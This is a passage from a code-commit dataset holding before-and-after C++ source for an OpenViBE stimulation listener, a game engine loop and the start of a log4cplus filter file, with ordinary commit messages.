is_right_ = src.is_right_;\n }\n }\n void destruct() {\n if (is_right_) {\n right_.~R();\n } else {\n left_.~L();\n }\n }\n private:\n bool is_right_;\n union {\n L left_;\n R right_;\n };\n};\n\n} \/\/ namespace klang\n\n#endif \/\/ KMC_KLANG_EITHER_HPP\n<|endoftext|>"} {"text":"<commit_before>#include \"ovpCBoxAlgorithmStimulationListener.h\"\n\nusing namespace OpenViBE;\nusing namespace OpenViBE::Kernel;\nusing namespace OpenViBE::Plugins;\n\nusing namespace OpenViBEPlugins;\nusing namespace OpenViBEPlugins::Tools;\n\nboolean CBoxAlgorithmStimulationListener::initialize(void)\n{\n\tIBox& l_rStaticBoxContext=this->getStaticBoxContext();\n\tfor(uint32 i=0; i<l_rStaticBoxContext.getInputCount(); i++)\n\t{\n\t\tIAlgorithmProxy* m_pStreamDecoder=&this->getAlgorithmManager().getAlgorithm(this->getAlgorithmManager().createAlgorithm(OVP_GD_ClassId_Algorithm_StimulationStreamDecoder));\n\t\tm_pStreamDecoder->initialize();\n\t\tm_vStreamDecoder.push_back(m_pStreamDecoder);\n\t}\n\n\tCString l_sSettingValue;\n\tl_rStaticBoxContext.getSettingValue(0, l_sSettingValue);\n\tm_eLogLevel=static_cast<ELogLevel>(getTypeManager().getEnumerationEntryValueFromName(OV_TypeId_LogLevel, l_sSettingValue));\n\n\treturn true;\n}\n\nboolean CBoxAlgorithmStimulationListener::uninitialize(void)\n{\n\tIBox& l_rStaticBoxContext=this->getStaticBoxContext();\n\tfor(uint32 i=0; i<l_rStaticBoxContext.getInputCount(); i++)\n\t{\n\t\tm_vStreamDecoder[i]->uninitialize();\n\t\tthis->getAlgorithmManager().releaseAlgorithm(*m_vStreamDecoder[i]);\n\t}\n\tm_vStreamDecoder.clear();\n\n\treturn true;\n}\n\nboolean CBoxAlgorithmStimulationListener::processInput(uint32 ui32InputIndex)\n{\n\tgetBoxAlgorithmContext()->markAlgorithmAsReadyToProcess();\n\treturn true;\n}\n\nboolean CBoxAlgorithmStimulationListener::process(void)\n{\n\tIBox& l_rStaticBoxContext=this->getStaticBoxContext();\n\tIBoxIO& l_rDynamicBoxContext=this->getDynamicBoxContext();\n\n\tfor(uint32 i=0; i<l_rStaticBoxContext.getInputCount(); i++)\n\t{\n\t\tfor(uint32 j=0; j<l_rDynamicBoxContext.getInputChunkCount(i); j++)\n\t\t{\n\t\t\tTParameterHandler < const IMemoryBuffer* > ip_pMemoryBufferToDecode(m_vStreamDecoder[i]->getInputParameter(OVP_GD_Algorithm_StimulationStreamDecoder_InputParameterId_MemoryBufferToDecode));\n\t\t\tTParameterHandler < const IStimulationSet* > op_pStimulationSet(m_vStreamDecoder[i]->getOutputParameter(OVP_GD_Algorithm_StimulationStreamDecoder_OutputParameterId_StimulationSet));\n\t\t\tip_pMemoryBufferToDecode=l_rDynamicBoxContext.getInputChunk(i, j);\n\n\t\t\tm_vStreamDecoder[i]->process();\n\t\t\tif(m_vStreamDecoder[i]->isOutputTriggerActive(OVP_GD_Algorithm_StimulationStreamDecoder_OutputTriggerId_ReceivedHeader))\n\t\t\t{\n\t\t\t}\n\t\t\tif(m_vStreamDecoder[i]->isOutputTriggerActive(OVP_GD_Algorithm_StimulationStreamDecoder_OutputTriggerId_ReceivedBuffer))\n\t\t\t{\n\t\t\t\tCString l_sInputName;\n\t\t\t\tl_rStaticBoxContext.getInputName(i, l_sInputName);\n\t\t\t\tfor(uint64 k=0; k<op_pStimulationSet->getStimulationCount(); k++)\n\t\t\t\t{\n\t\t\t\t\tthis->getLogManager() << m_eLogLevel\n\t\t\t\t\t\t<< \"For input \" << i << \" with name \" << l_sInputName\n\t\t\t\t\t\t<< \" got stimulation \" << op_pStimulationSet->getStimulationIdentifier(k)\n\t\t\t\t\t\t<< \"[\" << this->getTypeManager().getEnumerationEntryNameFromValue(OV_TypeId_Stimulation, op_pStimulationSet->getStimulationIdentifier(k)) << \"]\"\n\t\t\t\t\t\t<< \" at date \" << time64(op_pStimulationSet->getStimulationDate(k))\n\t\t\t\t\t\t<< \" and duration \" << time64(op_pStimulationSet->getStimulationDuration(k))\n\t\t\t\t\t\t<< \"\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(m_vStreamDecoder[i]->isOutputTriggerActive(OVP_GD_Algorithm_StimulationStreamDecoder_OutputTriggerId_ReceivedEnd))\n\t\t\t{\n\t\t\t}\n\t\t\tl_rDynamicBoxContext.markInputAsDeprecated(i, j);\n\t\t}\n\t}\n\n\treturn true;\n}\n<commit_msg>openvibe-plugins\/tools * ovpCBoxAlgorithmStimulationListener.cpp : added a warning message when a stimulation date is out of chunk range<commit_after>#include \"ovpCBoxAlgorithmStimulationListener.h\"\n\nusing namespace OpenViBE;\nusing namespace OpenViBE::Kernel;\nusing namespace OpenViBE::Plugins;\n\nusing namespace OpenViBEPlugins;\nusing namespace OpenViBEPlugins::Tools;\n\nboolean CBoxAlgorithmStimulationListener::initialize(void)\n{\n\tIBox& l_rStaticBoxContext=this->getStaticBoxContext();\n\tfor(uint32 i=0; i<l_rStaticBoxContext.getInputCount(); i++)\n\t{\n\t\tIAlgorithmProxy* m_pStreamDecoder=&this->getAlgorithmManager().getAlgorithm(this->getAlgorithmManager().createAlgorithm(OVP_GD_ClassId_Algorithm_StimulationStreamDecoder));\n\t\tm_pStreamDecoder->initialize();\n\t\tm_vStreamDecoder.push_back(m_pStreamDecoder);\n\t}\n\n\tCString l_sSettingValue;\n\tl_rStaticBoxContext.getSettingValue(0, l_sSettingValue);\n\tm_eLogLevel=static_cast<ELogLevel>(getTypeManager().getEnumerationEntryValueFromName(OV_TypeId_LogLevel, l_sSettingValue));\n\n\treturn true;\n}\n\nboolean CBoxAlgorithmStimulationListener::uninitialize(void)\n{\n\tIBox& l_rStaticBoxContext=this->getStaticBoxContext();\n\tfor(uint32 i=0; i<l_rStaticBoxContext.getInputCount(); i++)\n\t{\n\t\tm_vStreamDecoder[i]->uninitialize();\n\t\tthis->getAlgorithmManager().releaseAlgorithm(*m_vStreamDecoder[i]);\n\t}\n\tm_vStreamDecoder.clear();\n\n\treturn true;\n}\n\nboolean CBoxAlgorithmStimulationListener::processInput(uint32 ui32InputIndex)\n{\n\tgetBoxAlgorithmContext()->markAlgorithmAsReadyToProcess();\n\treturn true;\n}\n\nboolean CBoxAlgorithmStimulationListener::process(void)\n{\n\tIBox& l_rStaticBoxContext=this->getStaticBoxContext();\n\tIBoxIO& l_rDynamicBoxContext=this->getDynamicBoxContext();\n\n\tfor(uint32 i=0; i<l_rStaticBoxContext.getInputCount(); i++)\n\t{\n\t\tfor(uint32 j=0; j<l_rDynamicBoxContext.getInputChunkCount(i); j++)\n\t\t{\n\t\t\tTParameterHandler < const IMemoryBuffer* > ip_pMemoryBufferToDecode(m_vStreamDecoder[i]->getInputParameter(OVP_GD_Algorithm_StimulationStreamDecoder_InputParameterId_MemoryBufferToDecode));\n\t\t\tTParameterHandler < const IStimulationSet* > op_pStimulationSet(m_vStreamDecoder[i]->getOutputParameter(OVP_GD_Algorithm_StimulationStreamDecoder_OutputParameterId_StimulationSet));\n\t\t\tip_pMemoryBufferToDecode=l_rDynamicBoxContext.getInputChunk(i, j);\n\n\t\t\tm_vStreamDecoder[i]->process();\n\t\t\tif(m_vStreamDecoder[i]->isOutputTriggerActive(OVP_GD_Algorithm_StimulationStreamDecoder_OutputTriggerId_ReceivedHeader))\n\t\t\t{\n\t\t\t}\n\t\t\tif(m_vStreamDecoder[i]->isOutputTriggerActive(OVP_GD_Algorithm_StimulationStreamDecoder_OutputTriggerId_ReceivedBuffer))\n\t\t\t{\n\t\t\t\tCString l_sInputName;\n\t\t\t\tl_rStaticBoxContext.getInputName(i, l_sInputName);\n\t\t\t\tfor(uint64 k=0; k<op_pStimulationSet->getStimulationCount(); k++)\n\t\t\t\t{\n\t\t\t\t\tthis->getLogManager() << m_eLogLevel\n\t\t\t\t\t\t<< \"For input \" << i << \" with name \" << l_sInputName\n\t\t\t\t\t\t<< \" got stimulation \" << op_pStimulationSet->getStimulationIdentifier(k)\n\t\t\t\t\t\t<< \"[\" << this->getTypeManager().getEnumerationEntryNameFromValue(OV_TypeId_Stimulation, op_pStimulationSet->getStimulationIdentifier(k)) << \"]\"\n\t\t\t\t\t\t<< \" at date \" << time64(op_pStimulationSet->getStimulationDate(k))\n\t\t\t\t\t\t<< \" and duration \" << time64(op_pStimulationSet->getStimulationDuration(k))\n\t\t\t\t\t\t<< \"\\n\";\n\t\t\t\t\tif(op_pStimulationSet->getStimulationDate(k) < l_rDynamicBoxContext.getInputChunkStartTime(i, j) || op_pStimulationSet->getStimulationDate(k) > l_rDynamicBoxContext.getInputChunkEndTime(i, j))\n\t\t\t\t\t{\n\t\t\t\t\t\tthis->getLogManager() << LogLevel_Warning\n\t\t\t\t\t\t\t<< \"The stimulation date is out of chunk range ! \"\n\t\t\t\t\t\t\t<< \" Stimulation date is \" << time64(op_pStimulationSet->getStimulationDate(k))\n\t\t\t\t\t\t\t<< \" and chunk range is [\" << time64(l_rDynamicBoxContext.getInputChunkStartTime(i, j)) << \", \" << time64(l_rDynamicBoxContext.getInputChunkEndTime(i, j)) << \"]\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(m_vStreamDecoder[i]->isOutputTriggerActive(OVP_GD_Algorithm_StimulationStreamDecoder_OutputTriggerId_ReceivedEnd))\n\t\t\t{\n\t\t\t}\n\t\t\tl_rDynamicBoxContext.markInputAsDeprecated(i, j);\n\t\t}\n\t}\n\n\treturn true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"engine.h\"\n#include \"random.h\"\n#include \"gameEntity.h\"\n#include \"Updatable.h\"\n#include \"collisionable.h\"\n\n#ifdef __linux__\n#include <fenv.h>\n#endif\n#ifdef __WIN32__\n#include <float.h>\n#endif\n\n#ifdef DEBUG\n#include <typeinfo>\nint DEBUG_PobjCount;\nPObject* DEBUG_PobjListStart;\n#endif\n\n#ifdef ENABLE_CRASH_LOGGER\n#ifdef __WIN32__\n\/\/Exception handler for mingw, from https:\/\/github.com\/jrfonseca\/drmingw\n#include <exchndl.h>\n#endif\/\/__WIN32__\n#endif\/\/ENABLE_CRASH_LOGGER\n\nEngine* engine;\n\nEngine::Engine()\n{\n engine = this;\n#ifdef ENABLE_CRASH_LOGGER\n#ifdef __WIN32__\n ExcHndlInit();\n#endif\/\/__WIN32__\n#endif\/\/ENABLE_CRASH_LOGGER\n#ifdef __linux__\n feenableexcept(FE_DIVBYZERO | FE_INVALID);\n#endif\n#ifdef __WIN32__\n unsigned int current_word = 0;\n _controlfp_s(¤t_word, _EM_INVALID | _EM_ZERODIVIDE, _MCW_EM);\n#endif\n initRandom();\n windowManager = nullptr;\n CollisionManager::initialize();\n InputHandler::initialize();\n gameSpeed = 1.0;\n running = true;\n elapsedTime = 0.0;\n \n soundManager = new SoundManager();\n}\nEngine::~Engine()\n{\n if (windowManager)\n windowManager->close();\n delete soundManager;\n soundManager = nullptr;\n}\n\nvoid Engine::registerObject(string name, P<PObject> obj)\n{\n objectMap[name] = obj;\n}\n\nP<PObject> Engine::getObject(string name)\n{\n if (!objectMap[name])\n return NULL;\n return objectMap[name];\n}\n\nvoid Engine::runMainLoop()\n{\n windowManager = dynamic_cast<WindowManager*>(*getObject(\"windowManager\"));\n if (!windowManager)\n {\n sf::Clock frameTimeClock;\n while(running)\n {\n float delta = frameTimeClock.getElapsedTime().asSeconds();\n frameTimeClock.restart();\n if (delta > 0.5)\n delta = 0.5;\n if (delta < 0.001)\n delta = 0.001;\n delta *= gameSpeed;\n\n entityList.update();\n foreach(Updatable, u, updatableList)\n u->update(delta);\n elapsedTime += delta;\n CollisionManager::handleCollisions(delta);\n ScriptObject::clearDestroyedObjects();\n soundManager->updateTick();\n \n sf::sleep(sf::seconds(1.0\/60.0 - delta));\n \/\/if (elapsedTime > 2.0)\n \/\/ break;\n }\n }else{\n sf::Clock frameTimeClock;\n#ifdef DEBUG\n sf::Clock debugOutputClock;\n#endif\n while(running && windowManager->window.isOpen())\n {\n InputHandler::preEventsUpdate();\n \/\/ Handle events\n sf::Event event;\n while (windowManager->window.pollEvent(event))\n {\n handleEvent(event);\n }\n InputHandler::postEventsUpdate();\n\n#ifdef DEBUG\n if (sf::Keyboard::isKeyPressed(sf::Keyboard::Escape) && windowManager->hasFocus())\n running = false;\n\n if (debugOutputClock.getElapsedTime().asSeconds() > 1.0)\n {\n printf(\"Object count: %4d %4d %4d\\n\", DEBUG_PobjCount, updatableList.size(), entityList.size());\n debugOutputClock.restart();\n }\n#endif\n\n float delta = frameTimeClock.restart().asSeconds();\n if (delta > 0.5)\n delta = 0.5;\n if (delta < 0.001)\n delta = 0.001;\n delta *= gameSpeed;\n#ifdef DEBUG\n if (sf::Keyboard::isKeyPressed(sf::Keyboard::Tab))\n delta \/= 5.0;\n if (sf::Keyboard::isKeyPressed(sf::Keyboard::Tilde))\n delta *= 5.0;\n#endif\n EngineTiming engine_timing;\n \n sf::Clock engine_timing_clock;\n entityList.update();\n foreach(Updatable, u, updatableList)\n u->update(delta);\n elapsedTime += delta;\n engine_timing.update = engine_timing_clock.restart().asSeconds();\n CollisionManager::handleCollisions(delta);\n engine_timing.collision = engine_timing_clock.restart().asSeconds();\n ScriptObject::clearDestroyedObjects();\n soundManager->updateTick();\n\n \/\/ Clear the window\n windowManager->render();\n engine_timing.render = engine_timing_clock.restart().asSeconds();\n engine_timing.server_update = 0.0f;\n if (game_server)\n engine_timing.server_update = game_server->getUpdateTime();\n \n last_engine_timing = engine_timing;\n }\n soundManager->stopMusic();\n }\n}\n\nvoid Engine::handleEvent(sf::Event& event)\n{\n \/\/ Window closed: exit\n if ((event.type == sf::Event::Closed))\n running = false;\n if (event.type == sf::Event::GainedFocus)\n windowManager->windowHasFocus = true;\n if (event.type == sf::Event::LostFocus)\n windowManager->windowHasFocus = false;\n#ifdef DEBUG\n if ((event.type == sf::Event::KeyPressed) && (event.key.code == sf::Keyboard::L))\n {\n int n = 0;\n printf(\"---------------------\\n\");\n for(PObject* obj = DEBUG_PobjListStart; obj; obj = obj->DEBUG_PobjListNext)\n printf(\"%c%4d: %4d: %s\\n\", obj->isDestroyed() ? '>' : ' ', n++, obj->getRefCount(), typeid(*obj).name());\n printf(\"---------------------\\n\");\n }\n#endif\n InputHandler::handleEvent(event);\n if (event.type == sf::Event::Resized)\n windowManager->setupView();\n#ifdef __ANDROID__\n \/\/Focus lost and focus gained events are used when the application window is created and destroyed.\n if (event.type == sf::Event::LostFocus)\n running = false;\n \n \/\/The MouseEntered and MouseLeft events are received when the activity needs to pause or resume.\n if (event.type == sf::Event::MouseLeft)\n {\n \/\/Pause is when a small popup is on top of the window. So keep running.\n while(windowManager->window.isOpen() && windowManager->window.waitEvent(event))\n {\n if (event.type != sf::Event::MouseLeft)\n handleEvent(event);\n if (event.type == sf::Event::MouseEntered)\n break;\n }\n }\n#endif\/\/__ANDROID__\n}\n\nvoid Engine::setGameSpeed(float speed)\n{\n gameSpeed = speed;\n}\n\nfloat Engine::getGameSpeed()\n{\n return gameSpeed;\n}\n\nfloat Engine::getElapsedTime()\n{\n return elapsedTime;\n}\n\nEngine::EngineTiming Engine::getEngineTiming()\n{\n return last_engine_timing;\n}\n\nvoid Engine::shutdown()\n{\n running = false;\n}\n<commit_msg>Revert \"Enable floating point exceptions.\"<commit_after>#include \"engine.h\"\r\n#include \"random.h\"\r\n#include \"gameEntity.h\"\r\n#include \"Updatable.h\"\r\n#include \"collisionable.h\"\r\n\r\n#ifdef DEBUG\r\n#include <typeinfo>\nint DEBUG_PobjCount;\r\nPObject* DEBUG_PobjListStart;\r\n#endif\r\n\n#ifdef ENABLE_CRASH_LOGGER\n#ifdef __WIN32__\n\/\/Exception handler for mingw, from https:\/\/github.com\/jrfonseca\/drmingw\n#include <exchndl.h>\n#endif\/\/__WIN32__\n#endif\/\/ENABLE_CRASH_LOGGER\n\r\nEngine* engine;\r\n\r\nEngine::Engine()\r\n{\r\n engine = this;\n#ifdef ENABLE_CRASH_LOGGER\n#ifdef __WIN32__\n ExcHndlInit();\n#endif\/\/__WIN32__\n#endif\/\/ENABLE_CRASH_LOGGER\r\n initRandom();\r\n windowManager = nullptr;\n CollisionManager::initialize();\n InputHandler::initialize();\r\n gameSpeed = 1.0;\n running = true;\n elapsedTime = 0.0;\n \n soundManager = new SoundManager();\r\n}\r\nEngine::~Engine()\r\n{\n if (windowManager)\n windowManager->close();\n delete soundManager;\n soundManager = nullptr;\r\n}\r\n\r\nvoid Engine::registerObject(string name, P<PObject> obj)\r\n{\r\n objectMap[name] = obj;\r\n}\r\n\r\nP<PObject> Engine::getObject(string name)\r\n{\r\n if (!objectMap[name])\r\n return NULL;\r\n return objectMap[name];\r\n}\r\n\r\nvoid Engine::runMainLoop()\r\n{\r\n windowManager = dynamic_cast<WindowManager*>(*getObject(\"windowManager\"));\n if (!windowManager)\n {\n sf::Clock frameTimeClock;\n while(running)\n {\n float delta = frameTimeClock.getElapsedTime().asSeconds();\r\n frameTimeClock.restart();\r\n if (delta > 0.5)\r\n delta = 0.5;\r\n if (delta < 0.001)\r\n delta = 0.001;\r\n delta *= gameSpeed;\r\n\n entityList.update();\r\n foreach(Updatable, u, updatableList)\n u->update(delta);\r\n elapsedTime += delta;\r\n CollisionManager::handleCollisions(delta);\n ScriptObject::clearDestroyedObjects();\n soundManager->updateTick();\n \n sf::sleep(sf::seconds(1.0\/60.0 - delta));\n \/\/if (elapsedTime > 2.0)\n \/\/ break;\n }\n }else{\n sf::Clock frameTimeClock;\n#ifdef DEBUG\r\n sf::Clock debugOutputClock;\r\n#endif\n while(running && windowManager->window.isOpen())\n {\n InputHandler::preEventsUpdate();\n \/\/ Handle events\n sf::Event event;\n while (windowManager->window.pollEvent(event))\n {\n handleEvent(event);\n }\n InputHandler::postEventsUpdate();\r\n\r\n#ifdef DEBUG\r\n if (sf::Keyboard::isKeyPressed(sf::Keyboard::Escape) && windowManager->hasFocus())\r\n running = false;\n\n if (debugOutputClock.getElapsedTime().asSeconds() > 1.0)\r\n {\n printf(\"Object count: %4d %4d %4d\\n\", DEBUG_PobjCount, updatableList.size(), entityList.size());\r\n debugOutputClock.restart();\r\n }\r\n#endif\n\r\n float delta = frameTimeClock.restart().asSeconds();\r\n if (delta > 0.5)\r\n delta = 0.5;\r\n if (delta < 0.001)\r\n delta = 0.001;\r\n delta *= gameSpeed;\r\n#ifdef DEBUG\r\n if (sf::Keyboard::isKeyPressed(sf::Keyboard::Tab))\r\n delta \/= 5.0;\r\n if (sf::Keyboard::isKeyPressed(sf::Keyboard::Tilde))\r\n delta *= 5.0;\r\n#endif\n EngineTiming engine_timing;\n \n sf::Clock engine_timing_clock;\n entityList.update();\r\n foreach(Updatable, u, updatableList)\n u->update(delta);\r\n elapsedTime += delta;\n engine_timing.update = engine_timing_clock.restart().asSeconds();\r\n CollisionManager::handleCollisions(delta);\n engine_timing.collision = engine_timing_clock.restart().asSeconds();\n ScriptObject::clearDestroyedObjects();\n soundManager->updateTick();\n\n \/\/ Clear the window\r\n windowManager->render();\n engine_timing.render = engine_timing_clock.restart().asSeconds();\n engine_timing.server_update = 0.0f;\n if (game_server)\n engine_timing.server_update = game_server->getUpdateTime();\n \n last_engine_timing = engine_timing;\n }\n soundManager->stopMusic();\n }\n}\n\nvoid Engine::handleEvent(sf::Event& event)\n{\n \/\/ Window closed: exit\n if ((event.type == sf::Event::Closed))\n running = false;\n if (event.type == sf::Event::GainedFocus)\n windowManager->windowHasFocus = true;\r\n if (event.type == sf::Event::LostFocus)\n windowManager->windowHasFocus = false;\r\n#ifdef DEBUG\r\n if ((event.type == sf::Event::KeyPressed) && (event.key.code == sf::Keyboard::L))\r\n {\r\n int n = 0;\r\n printf(\"---------------------\\n\");\r\n for(PObject* obj = DEBUG_PobjListStart; obj; obj = obj->DEBUG_PobjListNext)\r\n printf(\"%c%4d: %4d: %s\\n\", obj->isDestroyed() ? '>' : ' ', n++, obj->getRefCount(), typeid(*obj).name());\r\n printf(\"---------------------\\n\");\r\n }\n#endif\n InputHandler::handleEvent(event);\r\n if (event.type == sf::Event::Resized)\n windowManager->setupView();\n#ifdef __ANDROID__\n \/\/Focus lost and focus gained events are used when the application window is created and destroyed.\n if (event.type == sf::Event::LostFocus)\n running = false;\n \n \/\/The MouseEntered and MouseLeft events are received when the activity needs to pause or resume.\n if (event.type == sf::Event::MouseLeft)\n {\n \/\/Pause is when a small popup is on top of the window. So keep running.\n while(windowManager->window.isOpen() && windowManager->window.waitEvent(event))\n {\n if (event.type != sf::Event::MouseLeft)\n handleEvent(event);\n if (event.type == sf::Event::MouseEntered)\n break;\n }\n }\n#endif\/\/__ANDROID__\n}\r\n\r\nvoid Engine::setGameSpeed(float speed)\r\n{\r\n gameSpeed = speed;\r\n}\n\nfloat Engine::getGameSpeed()\n{\n return gameSpeed;\n}\r\n\r\nfloat Engine::getElapsedTime()\r\n{\r\n return elapsedTime;\r\n}\n\nEngine::EngineTiming Engine::getEngineTiming()\n{\n return last_engine_timing;\n}\r\n\nvoid Engine::shutdown()\n{\n running = false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Module: Log4CPLUS\n\/\/ File: filter.cxx\n\/\/ Created: 5\/2003\n\/\/ Author: Tad E. Smith\n\/\/\n\/\/\n\/\/ Copyright 2003-2015 Tad E. Smith\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <log4cplus\/spi\/filter.h>\n#include <log4cplus\/helpers\/loglog.h>\n#include <log4cplus\/helpers\/stringhelper.h>\n#include <log4cplus\/helpers\/property.h>\n#include <log4cplus\/spi\/loggingevent.h>\n#include <log4cplus\/thread\/syncprims-pub-impl.h>\n\n\nnamespace log4cplus { namespace spi {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ global methods\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nFilterResult\ncheckFilter(const Filter* filter, const InternalLoggingEvent& event)\n{\n const Filter* currentFilter = filter;\n while(currentFilter) {\n FilterResult result = currentFilter->decide(event);\n if(result != NEUTRAL) {\n return result;\n }\n\n currentFilter = currentFilter->next.get();\n }\n\n return ACCEPT;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Filter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nFilter::Filter()\n{\n}\n\n\nFilter::~Filter()\n{\n}\n\n\nvoid\nFilter::appendFilter(FilterPtr filter)\n{\n if (! next)\n next = filter;\n else\n next->appendFilter(filter);\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DenyAllFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nDenyAllFilter::DenyAllFilter ()\n{ }\n\n\nDenyAllFilter::DenyAllFilter (const helpers::Properties&)\n{ }\n\n\nFilterResult\nDenyAllFilter::decide(const InternalLoggingEvent&) const\n{\n return DENY;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LogLevelMatchFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nLogLevelMatchFilter::LogLevelMatchFilter()\n{\n init();\n}\n\n\n\nLogLevelMatchFilter::LogLevelMatchFilter(const helpers::Properties& properties)\n{\n init();\n\n properties.getBool (acceptOnMatch, LOG4CPLUS_TEXT(\"AcceptOnMatch\"));\n\n tstring const & log_level_to_match\n = properties.getProperty( LOG4CPLUS_TEXT(\"LogLevelToMatch\") );\n logLevelToMatch = getLogLevelManager().fromString(log_level_to_match);\n}\n\n\nvoid\nLogLevelMatchFilter::init()\n{\n acceptOnMatch = true;\n logLevelToMatch = NOT_SET_LOG_LEVEL;\n}\n\n\nFilterResult\nLogLevelMatchFilter::decide(const InternalLoggingEvent& event) const\n{\n if(logLevelToMatch == NOT_SET_LOG_LEVEL) {\n return NEUTRAL;\n }\n\n bool matchOccured = (logLevelToMatch == event.getLogLevel());\n\n if(matchOccured) {\n return (acceptOnMatch ? ACCEPT : DENY);\n }\n else {\n return NEUTRAL;\n }\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LogLevelRangeFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nLogLevelRangeFilter::LogLevelRangeFilter()\n{\n init();\n}\n\n\n\nLogLevelRangeFilter::LogLevelRangeFilter(const helpers::Properties& properties)\n{\n init();\n\n properties.getBool (acceptOnMatch = false,\n LOG4CPLUS_TEXT(\"AcceptOnMatch\"));\n\n tstring const & log_level_min\n = properties.getProperty( LOG4CPLUS_TEXT(\"LogLevelMin\") );\n logLevelMin = getLogLevelManager().fromString(log_level_min);\n\n tstring const & log_level_max\n = properties.getProperty( LOG4CPLUS_TEXT(\"LogLevelMax\") );\n logLevelMax = getLogLevelManager().fromString(log_level_max);\n}\n\n\nvoid\nLogLevelRangeFilter::init()\n{\n acceptOnMatch = true;\n logLevelMin = NOT_SET_LOG_LEVEL;\n logLevelMax = NOT_SET_LOG_LEVEL;\n}\n\n\nFilterResult\nLogLevelRangeFilter::decide(const InternalLoggingEvent& event) const\n{\n if((logLevelMin != NOT_SET_LOG_LEVEL) && (event.getLogLevel() < logLevelMin)) {\n \/\/ priority of event is less than minimum\n return DENY;\n }\n\n if((logLevelMax != NOT_SET_LOG_LEVEL) && (event.getLogLevel() > logLevelMax)) {\n \/\/ priority of event is greater than maximum\n return DENY;\n }\n\n if(acceptOnMatch) {\n \/\/ this filter set up to bypass later filters and always return\n \/\/ accept if priority in range\n return ACCEPT;\n }\n else {\n \/\/ event is ok for this filter; allow later filters to have a look...\n return NEUTRAL;\n }\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ StringMatchFilter implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStringMatchFilter::StringMatchFilter()\n{\n init();\n}\n\n\n\nStringMatchFilter::StringMatchFilter(const helpers::Properties& properties)\n{\n init();\n\n properties.getBool (acceptOnMatch = false,\n LOG4CPLUS_TEXT(\"AcceptOnMatch\"));\n stringToMatch = 